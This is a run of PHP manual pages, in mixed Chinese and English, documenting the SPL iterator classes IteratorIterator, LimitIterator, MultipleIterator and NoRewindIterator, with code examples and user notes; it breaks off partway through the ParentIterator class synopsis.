IteratorIterator::key — Get the key of the current element

说明

public IteratorIterator::key(): mixed

Get the key of the current element.

参数

此函数没有参数。

返回值

The key of the current element.

参见

  • IteratorIterator::current() - Get the current value

User Contributed Notes

There are no user contributed notes for this page.


Forward to the next element

  • ? IteratorIterator::key
  • IteratorIterator::rewind ?
  • PHP Manual
  • IteratorIterator
  • Forward to the next element

IteratorIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::next — Forward to the next element

说明

public IteratorIterator::next(): void

Forward to the next element.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • IteratorIterator::rewind() - Rewind to the first element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.


Rewind to the first element

  • ? IteratorIterator::next
  • IteratorIterator::valid ?
  • PHP Manual
  • IteratorIterator
  • Rewind to the first element

IteratorIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::rewind — Rewind to the first element

说明

public IteratorIterator::rewind(): void

Rewinds to the first element.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • IteratorIterator::next() - Forward to the next element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.


Checks if the iterator is valid

  • ? IteratorIterator::rewind
  • LimitIterator ?
  • PHP Manual
  • IteratorIterator
  • Checks if the iterator is valid

IteratorIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::valid — Checks if the iterator is valid

说明

public IteratorIterator::valid(): bool

Checks if the iterator is valid.

参数

此函数没有参数。

返回值

Returns true if the iterator is valid, otherwise false

参见

  • iterator_count() - 计算迭代器中元素的个数
  • IteratorIterator::current() - Get the current value

User Contributed Notes

mike at eastghost dot com 18-Jan-2018 03:24
An Iterator is "valid" when it has additional elements, beyond its element index.

Said another way: After an Iterator is next()'d to its final element, the Iterator is no longer "valid".

Said another way: A "hasNext" check would simply return ::valid()


LimitIterator 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

LimitIterator 类允许遍历一个 Iterator 的限定子集的元素。

类摘要

class LimitIterator extends IteratorIterator {
/* 方法 */
public __construct(Iterator $iterator, int $offset = 0, int $limit = -1)
public current(): mixed
public getPosition(): int
public key(): mixed
public next(): void
public rewind(): void
public seek(int $offset): int
public valid(): bool
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

示例

Example #1 LimitIterator usage example

<?php

// Create an iterator to be limited
$fruits = new ArrayIterator(array(
'apple',
'banana',
'cherry',
'damson',
'elderberry'
));

// Loop over first three fruits only
foreach (new LimitIterator($fruits, 0, 3) as $fruit) {
var_dump($fruit);
}

echo "\n";

// Loop from third fruit until the end
// Note: offset starts from zero for apple
foreach (new LimitIterator($fruits, 2) as $fruit) {
var_dump($fruit);
}

?>

以上示例会输出：

string(5) "apple"
string(6) "banana"
string(6) "cherry"

string(6) "cherry"
string(6) "damson"
string(10) "elderberry"

Table of Contents

  • LimitIterator::__construct — Construct a LimitIterator
  • LimitIterator::current — Get current element
  • LimitIterator::getPosition — Return the current position
  • LimitIterator::key — Get current key
  • LimitIterator::next — Move the iterator forward
  • LimitIterator::rewind — Rewind the iterator to the specified starting offset
  • LimitIterator::seek — Seek to the given position
  • LimitIterator::valid — Check whether the current element is valid

User Contributed Notes

christophg at grenz-bonn dot de 15-Jul-2021 11:21
If the inner iterator implements SeekableIterator, LimitIterator uses seek() after rewind() to move to the offset.


Construct a LimitIterator

  • ? LimitIterator
  • LimitIterator::current ?
  • PHP Manual
  • LimitIterator
  • Construct a LimitIterator

LimitIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::__construct — Construct a LimitIterator

说明

public LimitIterator::__construct(Iterator $iterator, int $offset = 0, int $limit = -1)

Constructs a new LimitIterator from an iterator with a given starting offset and maximum limit.

参数

iterator

The Iterator to limit.

offset

Optional offset of the limit.

limit

Optional count of the limit.

错误／异常

Throws a ValueError if the offset is less than 0 or the limit is less than -1.

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError if offset is less than 0; previously it threw a RuntimeException.
8.0.0 | Now throws a ValueError if limit is less than -1; previously it threw a RuntimeException.

示例

Example #1 LimitIterator::__construct() example

<?php
$ait = new ArrayIterator(array('a', 'b', 'c', 'd', 'e'));
$lit = new LimitIterator($ait, 1, 3);
foreach ($lit as $value) {
echo $value . "\n";
}
?>

以上示例会输出：

b
c
d

参见

  • LimitIterator examples

User Contributed Notes

There are no user contributed notes for this page.


Get current element

  • ? LimitIterator::__construct
  • LimitIterator::getPosition ?
  • PHP Manual
  • LimitIterator
  • Get current element

LimitIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::current — Get current element

说明

public LimitIterator::current(): mixed

Gets the current element of the inner Iterator.

参数

此函数没有参数。

返回值

Returns the current element or null if there is none.

参见

  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Return the current position

  • ? LimitIterator::current
  • LimitIterator::key ?
  • PHP Manual
  • LimitIterator
  • Return the current position

LimitIterator::getPosition

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::getPosition — Return the current position

说明

public LimitIterator::getPosition(): int

Gets the current zero-based position of the inner Iterator.

参数

此函数没有参数。

返回值

The current position.

示例

Example #1 LimitIterator::getPosition() example

<?php
$fruits = array(
'a' => 'apple',
'b' => 'banana',
'c' => 'cherry',
'd' => 'damson',
'e' => 'elderberry'
);
$array_it = new ArrayIterator($fruits);
$limit_it = new LimitIterator($array_it, 2, 3);
foreach ($limit_it as $item) {
echo $limit_it->getPosition() . ' ' . $item . "\n";
}
?>

以上示例会输出：

2 cherry
3 damson
4 elderberry

参见

  • FilterIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.


Get current key

  • ? LimitIterator::getPosition
  • LimitIterator::next ?
  • PHP Manual
  • LimitIterator
  • Get current key

LimitIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::key — Get current key

说明

public LimitIterator::key(): mixed

Gets the key for the current item in the inner Iterator.

参数

此函数没有参数。

返回值

Returns the key for the current item.

参见

  • LimitIterator::getPosition() - Return the current position
  • LimitIterator::current() - Get current element
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • ? LimitIterator::key
  • LimitIterator::rewind ?
  • PHP Manual
  • LimitIterator
  • Move the iterator forward

LimitIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::next — Move the iterator forward

说明

public LimitIterator::next(): void

Moves the iterator forward.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the specified starting offset

  • ? LimitIterator::next
  • LimitIterator::seek ?
  • PHP Manual
  • LimitIterator
  • Rewind the iterator to the specified starting offset

LimitIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::rewind — Rewind the iterator to the specified starting offset

说明

public LimitIterator::rewind(): void

Rewinds the iterator to the starting offset specified in LimitIterator::__construct().

参数

此函数没有参数。

返回值

没有返回值。

参见

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Seek to the given position

  • ? LimitIterator::rewind
  • LimitIterator::valid ?
  • PHP Manual
  • LimitIterator
  • Seek to the given position

LimitIterator::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::seek — Seek to the given position

说明

public LimitIterator::seek(int $offset): int

Moves the iterator to the offset specified by offset.

参数

offset

The position to seek to.

返回值

Returns the offset position after seeking.

错误／异常

Throws an OutOfBoundsException if the position is outside of the limits specified in LimitIterator::__construct().

参见

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • ? LimitIterator::seek
  • MultipleIterator ?
  • PHP Manual
  • LimitIterator
  • Check whether the current element is valid

LimitIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::valid — Check whether the current element is valid

说明

public LimitIterator::valid(): bool

Checks whether the current element is valid.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position

User Contributed Notes

There are no user contributed notes for this page.


The MultipleIterator class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

An Iterator that sequentially iterates over all attached iterators

类摘要

class MultipleIterator implements Iterator {
/* 常量 */
public const int MIT_NEED_ANY;
public const int MIT_NEED_ALL;
public const int MIT_KEYS_NUMERIC;
public const int MIT_KEYS_ASSOC;
/* 方法 */
public __construct(int $flags = MultipleIterator::MIT_NEED_ALL | MultipleIterator::MIT_KEYS_NUMERIC)
public attachIterator(Iterator $iterator, string|int|null $info = null): void
public containsIterator(Iterator $iterator): bool
public countIterators(): int
public current(): array
public detachIterator(Iterator $iterator): void
public getFlags(): int
public key(): array
public next(): void
public rewind(): void
public setFlags(int $flags): void
public valid(): bool
}

预定义常量

MultipleIterator::MIT_NEED_ANY

Do not require all sub iterators to be valid in iteration.

MultipleIterator::MIT_NEED_ALL

Require all sub iterators to be valid in iteration.

MultipleIterator::MIT_KEYS_NUMERIC

Keys are created from the sub iterators position.

MultipleIterator::MIT_KEYS_ASSOC

Keys are created from sub iterators associated information.

Table of Contents

  • MultipleIterator::attachIterator — Attaches iterator information
  • MultipleIterator::__construct — Constructs a new MultipleIterator
  • MultipleIterator::containsIterator — Checks if an iterator is attached
  • MultipleIterator::countIterators — Gets the number of attached iterator instances
  • MultipleIterator::current — Gets the registered iterator instances
  • MultipleIterator::detachIterator — Detaches an iterator
  • MultipleIterator::getFlags — Gets the flag information
  • MultipleIterator::key — Gets the registered iterator instances
  • MultipleIterator::next — Moves all attached iterator instances forward
  • MultipleIterator::rewind — Rewinds all attached iterator instances
  • MultipleIterator::setFlags — Sets flags
  • MultipleIterator::valid — Checks the validity of sub iterators

User Contributed Notes

sven at rtbg dot de 15-Apr-2015 01:34
This iterator has a misleading name and description - it actually acts as a parallel iterator: You attach one or more iterators with a key, integer or NULL, and when you iterate over the MultipleIterator, as the result for current() you get ALL results from all attached iterators as an array (under the key or integer you attached it with), and the same is true for the key() call.

valid() will be valid if any or all iterators are valid, depending on the setting of the $flags - with ANY, you can iterate over a set of iterators with some of them ending before others, and get NULL results from these iterators until the last iterator is at it's end. With ALL, iteration stops when the first iterator stops delivering results.

next() and rewind() will be called on all attached iterators in every case.

<?php

$it1 = new ArrayIterator(array(1,2,3));
$it2 = new ArrayIterator(array(4,5,6));

$multipleIterator = new MultipleIterator(MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_ASSOC);

$multipleIterator->attachIterator($it1, 1);
$multipleIterator->attachIterator($it2, 'second');

foreach ($multipleIterator as $key => $value) {
    echo "Key\n"; var_dump($key);
    echo "Value\n"; var_dump($value);
    echo "---next---\n";
}
?>

Result with PHP 5.5.0 and up:

Key
array(2) {
  [1]=>
  int(0)
  ["second"]=>
  int(0)
}
Value
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(4)
}
---next---
Key
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(1)
}
Value
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(5)
}
---next---
Key
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(2)
}
Value
array(2) {
  [1]=>
  int(3)
  ["second"]=>
  int(6)
}
---next---

Note that PHP 5.4 and 5.3 do not support accessing the key() values in foreach loops because they expect them to not be an array - doing so will cause "Warning: Illegal type returned from MultipleIterator::key()" and the result of (int)0 as the key for all iterations.

Without the MultipleIterator::MIT_KEYS_ASSOC flag, the MultipleIterator will create numeric indices based on the order of attachment.


Attaches iterator information

  • ? MultipleIterator
  • MultipleIterator::__construct ?
  • PHP Manual
  • MultipleIterator
  • Attaches iterator information

MultipleIterator::attachIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::attachIterator — Attaches iterator information

说明

public MultipleIterator::attachIterator(Iterator $iterator, string|int|null $info = null): void

Attaches iterator information.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The new iterator to attach.

info

The associative information for the Iterator, which must be an int, a string, or null.

返回值

Description...

错误／异常

An IllegalValueException if the iterator parameter is invalid, or if info is already associated information.

参见

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

DDT 12-Jan-2013 02:38
If you have multiple file upload fields named "files[]"...

<?php
if (isset($_FILES["files"])) {
   $uploads = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["name"]), "name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["size"]), "size");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["type"]), "type");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["tmp_name"]), "tmp_name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["error"]), "error");

   foreach ($uploads as $file) {
      echo htmlspecialchars($file["name"]) . " = {$file["size"]} bytes<br/>";
   }
}
?>
andresdzphp at php dot net 27-Sep-2011 11:14
<?php
$ait_id = new ArrayIterator(array('c1001', 'c1002', 'c1003'));
$ait_name = new ArrayIterator(array('apple', 'orange', 'banana'));
$ait_units = new ArrayIterator(array(756, 996, 2345));

$mit = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
$mit->attachIterator($ait_id, "ID");
$mit->attachIterator($ait_name, "NAME");
$mit->attachIterator($ait_units, "UNITS");

echo $mit->countIterators() . "\n"; //3

if ($mit->containsIterator($ait_id)) { //true
    echo "ait_id iterator attached \n";
}

foreach ($mit as $fruit) {
    echo "<pre>";
    print_r($fruit);
    echo "</pre>";
}
?>

Result:

3
ait_id iterator attached

Array
(
    [ID] => c1001
    [NAME] => apple
    [UNITS] => 756
)
Array
(
    [ID] => c1002
    [NAME] => orange
    [UNITS] => 996
)
Array
(
    [ID] => c1003
    [NAME] => banana
    [UNITS] => 2345
)


Constructs a new MultipleIterator

  • ? MultipleIterator::attachIterator
  • MultipleIterator::containsIterator ?
  • PHP Manual
  • MultipleIterator
  • Constructs a new MultipleIterator

MultipleIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::__construct — Constructs a new MultipleIterator

说明

public MultipleIterator::__construct(int $flags = MultipleIterator::MIT_NEED_ALL | MultipleIterator::MIT_KEYS_NUMERIC)

Construct a new MultipleIterator.

参数

flags

The flags to set, according to the Flag Constants.

  • MultipleIterator::MIT_NEED_ALL or MultipleIterator::MIT_NEED_ANY
  • MultipleIterator::MIT_KEYS_NUMERIC or MultipleIterator::MIT_KEYS_ASSOC

Defaults to MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC.

示例

Example #1 Iterating a MultipleIterator

<?php
$people = new ArrayIterator(array('John', 'Jane', 'Jack', 'Judy'));
$roles = new ArrayIterator(array('Developer', 'Scrum Master', 'Project Owner'));

$team = new MultipleIterator($flags);
$team->attachIterator($people, 'person');
$team->attachIterator($roles, 'role');

foreach ($team as $member) {
print_r($member);
}
?>

Output with $flags = MIT_NEED_ALL|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)
Array
(
    [0] => Judy
    [1] =>
)

Output with $flags = MIT_NEED_ALL|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)

Output with $flags = MIT_NEED_ANY|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)
Array
(
    [person] => Judy
    [role] =>
)

参见

  • Flag Constants
  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Checks if an iterator is attached

  • ? MultipleIterator::__construct
  • MultipleIterator::countIterators ?
  • PHP Manual
  • MultipleIterator
  • Checks if an iterator is attached

MultipleIterator::containsIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::containsIterator — Checks if an iterator is attached

说明

public MultipleIterator::containsIterator(Iterator $iterator): bool

Checks if an iterator is attached or not.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The iterator to check.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of attached iterator instances

  • ? MultipleIterator::containsIterator
  • MultipleIterator::current ?
  • PHP Manual
  • MultipleIterator
  • Gets the number of attached iterator instances

MultipleIterator::countIterators

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::countIterators — Gets the number of attached iterator instances

说明

public MultipleIterator::countIterators(): int

Gets the number of attached iterator instances.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The number of attached iterator instances (as an int).

参见

  • MultipleIterator::containsIterator() - Checks if an iterator is attached

User Contributed Notes

There are no user contributed notes for this page.


Gets the registered iterator instances

  • ? MultipleIterator::countIterators
  • MultipleIterator::detachIterator ?
  • PHP Manual
  • MultipleIterator
  • Gets the registered iterator instances

MultipleIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::current — Gets the registered iterator instances

说明

public MultipleIterator::current(): array

Get the registered iterator instances current() result.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An array containing the current values of each attached iterator.

错误／异常

A RuntimeException if the iterator is invalid (as of PHP 8.1.0), or mode MIT_NEED_ALL is set and at least one attached iterator is not valid. Or an IllegalValueException if a key is null and MIT_KEYS_ASSOC is set.

更新日志

版本 | 说明
8.1.0 | A RuntimeException is now thrown if MultipleIterator::current() is called on an invalid iterator. Previously, false was returned.

参见

  • MultipleIterator::valid() - Checks the validity of sub iterators

User Contributed Notes

There are no user contributed notes for this page.


Detaches an iterator

  • ? MultipleIterator::current
  • MultipleIterator::getFlags ?
  • PHP Manual
  • MultipleIterator
  • Detaches an iterator

MultipleIterator::detachIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::detachIterator — Detaches an iterator

说明

public MultipleIterator::detachIterator(Iterator $iterator): void

Detaches an iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The iterator to detach.

返回值

没有返回值。

参见

  • MultipleIterator::attachIterator() - Attaches iterator information

User Contributed Notes

There are no user contributed notes for this page.


Gets the flag information

  • ? MultipleIterator::detachIterator
  • MultipleIterator::key ?
  • PHP Manual
  • MultipleIterator
  • Gets the flag information

MultipleIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::getFlags — Gets the flag information

说明

public MultipleIterator::getFlags(): int

Gets information about the flags.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Information about the flags, as an int.

参见

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::setFlags() - Sets flags

User Contributed Notes

There are no user contributed notes for this page.


Gets the registered iterator instances

  • ? MultipleIterator::getFlags
  • MultipleIterator::next ?
  • PHP Manual
  • MultipleIterator
  • Gets the registered iterator instances

MultipleIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::key — Gets the registered iterator instances

说明

public MultipleIterator::key(): array

Get the registered iterator instances key() result.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An array of all registered iterator instances.

错误／异常

A RuntimeException if the iterator is invalid (as of PHP 8.1.0), or mode MIT_NEED_ALL is set, and at least one attached iterator is not valid.

Calling this method from foreach triggers warning "Illegal type returned".

更新日志

版本 | 说明
8.1.0 | A RuntimeException is now thrown if MultipleIterator::key() is called on an invalid iterator. Previously, false was returned.

参见

  • MultipleIterator::current() - Gets the registered iterator instances

User Contributed Notes

There are no user contributed notes for this page.


Moves all attached iterator instances forward

  • ? MultipleIterator::key
  • MultipleIterator::rewind ?
  • PHP Manual
  • MultipleIterator
  • Moves all attached iterator instances forward

MultipleIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::next — Moves all attached iterator instances forward

说明

public MultipleIterator::next(): void

Moves all attached iterator instances forward.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • MultipleIterator::rewind() - Rewinds all attached iterator instances

User Contributed Notes

There are no user contributed notes for this page.


Rewinds all attached iterator instances

  • ? MultipleIterator::next
  • MultipleIterator::setFlags ?
  • PHP Manual
  • MultipleIterator
  • Rewinds all attached iterator instances

MultipleIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::rewind — Rewinds all attached iterator instances

说明

public MultipleIterator::rewind(): void

Rewinds all attached iterator instances.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • MultipleIterator::next() - Moves all attached iterator instances forward

User Contributed Notes

There are no user contributed notes for this page.


Sets flags

  • ? MultipleIterator::rewind
  • MultipleIterator::valid ?
  • PHP Manual
  • MultipleIterator
  • Sets flags

MultipleIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::setFlags — Sets flags

说明

public MultipleIterator::setFlags(int $flags): void

Sets flags.

Warning

本函数还未编写文档，仅有参数列表。

参数

flags

The flags to set, according to the Flag Constants

返回值

没有返回值。

参见

  • Flag Constants
  • MultipleIterator::__construct() - Constructs a new MultipleIterator
  • MultipleIterator::getFlags() - Gets the flag information

User Contributed Notes

There are no user contributed notes for this page.


Checks the validity of sub iterators

  • ? MultipleIterator::setFlags
  • NoRewindIterator ?
  • PHP Manual
  • MultipleIterator
  • Checks the validity of sub iterators

MultipleIterator::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::valid — Checks the validity of sub iterators

说明

public MultipleIterator::valid(): bool

Checks the validity of sub iterators.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns true if one or all sub iterators are valid depending on flags, otherwise false

参见

  • MultipleIterator::__construct() - Constructs a new MultipleIterator

User Contributed Notes

There are no user contributed notes for this page.


The NoRewindIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

This iterator ignores rewind operations. This allows processing an iterator in multiple partial foreach loops.

类摘要

class NoRewindIterator extends IteratorIterator {
/* 方法 */
public __construct(Iterator $iterator)
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • NoRewindIterator::__construct — Construct a NoRewindIterator
  • NoRewindIterator::current — Get the current value
  • NoRewindIterator::key — Get the current key
  • NoRewindIterator::next — Forward to the next element
  • NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator
  • NoRewindIterator::valid — Validates the iterator

User Contributed Notes

Anonymous 25-Apr-2020 10:18
As its name implies, NoRewindIterator doesn't invoke the "rewind" method when It reaches the end of the iterator.

Let's demonstrate it by two examles.

In this example the "rewind" method will be invoked after when the "foreache" reaches its end, so, we can repeat printing the same values as many times as we want:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}
?>

By using the NoRewindIterator, the "rewind" won't be invoked, so, we can't do as we did in previous example:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);
$iterator = new NoRewindIterator($iterator);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

// doesn't do anything
foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

?>


Construct a NoRewindIterator

  • ? NoRewindIterator
  • NoRewindIterator::current ?
  • PHP Manual
  • NoRewindIterator
  • Construct a NoRewindIterator

NoRewindIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::__construct — Construct a NoRewindIterator

说明

public NoRewindIterator::__construct(Iterator $iterator)

Constructs a NoRewindIterator.

参数

iterator

The iterator being used.

示例

Example #1 NoRewindIterator::__construct() example

The second loop does not output because the iterator is only used once, as it does not rewind.

<?php
$fruit = array('apple', 'banana', 'cranberry');

$arr = new ArrayObject($fruit);
$it = new NoRewindIterator($arr->getIterator());

echo "Fruit A:\n";
foreach( $it as $item ) {
echo $item . "\n";
}

echo "Fruit B:\n";
foreach( $it as $item ) {
echo $item . "\n";
}
?>

以上示例的输出类似于：

Fruit A:
apple
banana
cranberry
Fruit B:

参见

  • NoRewindIterator::valid() - Validates the iterator

User Contributed Notes

There are no user contributed notes for this page.


Get the current value

  • ? NoRewindIterator::__construct
  • NoRewindIterator::key ?
  • PHP Manual
  • NoRewindIterator
  • Get the current value

NoRewindIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::current — Get the current value

说明

public NoRewindIterator::current(): mixed

Gets the current value.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current value.

参见

  • NoRewindIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • ? NoRewindIterator::current
  • NoRewindIterator::next ?
  • PHP Manual
  • NoRewindIterator
  • Get the current key

NoRewindIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::key — Get the current key

说明

public NoRewindIterator::key(): mixed

Gets the current key.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The current key.

参见

  • NoRewindIterator::next() - Forward to the next element

User Contributed Notes

There are no user contributed notes for this page.


Forward to the next element

  • ? NoRewindIterator::key
  • NoRewindIterator::rewind ?
  • PHP Manual
  • NoRewindIterator
  • Forward to the next element

NoRewindIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::next — Forward to the next element

说明

public NoRewindIterator::next(): void

Forwards to the next element.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • NoRewindIterator::rewind() - Prevents the rewind operation on the inner iterator

User Contributed Notes

There are no user contributed notes for this page.


Prevents the rewind operation on the inner iterator

  • ? NoRewindIterator::next
  • NoRewindIterator::valid ?
  • PHP Manual
  • NoRewindIterator
  • Prevents the rewind operation on the inner iterator

NoRewindIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::rewind — Prevents the rewind operation on the inner iterator

说明

public NoRewindIterator::rewind(): void

Prevents the rewind operation on the inner iterator.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 NoRewindIterator::rewind() example

This example demonstrates that calling rewind on a NoRewindIterator object has no effect.

<?php
$fruits = array("lemon", "orange", "apple", "pear");

$noRewindIterator = new NoRewindIterator(new ArrayIterator($fruits));

echo $noRewindIterator->current() . "\n";
$noRewindIterator->next();
// now rewind the iterator (nothing should happen)
$noRewindIterator->rewind();
echo $noRewindIterator->current() . "\n";
?>

以上示例会输出：

lemon
orange

User Contributed Notes

There are no user contributed notes for this page.


Validates the iterator

  • ? NoRewindIterator::rewind
  • ParentIterator ?
  • PHP Manual
  • NoRewindIterator
  • Validates the iterator

NoRewindIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

NoRewindIterator::valid — Validates the iterator

说明

public NoRewindIterator::valid(): bool

Checks whether the iterator is valid.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • NoRewindIterator::getInnerIterator()

User Contributed Notes

There are no user contributed notes for this page.


The ParentIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

This extended FilterIterator allows a recursive iteration using RecursiveIteratorIterator that only shows those elements which have children.

类摘要

class ParentIterator extends RecursiveFilterIterator {
/* 方法 */
public __construct(RecursiveIterator $iterator)
public accept(): bool
public getChildren(): ParentIterator
public hasChildren(): bool
public next(): void
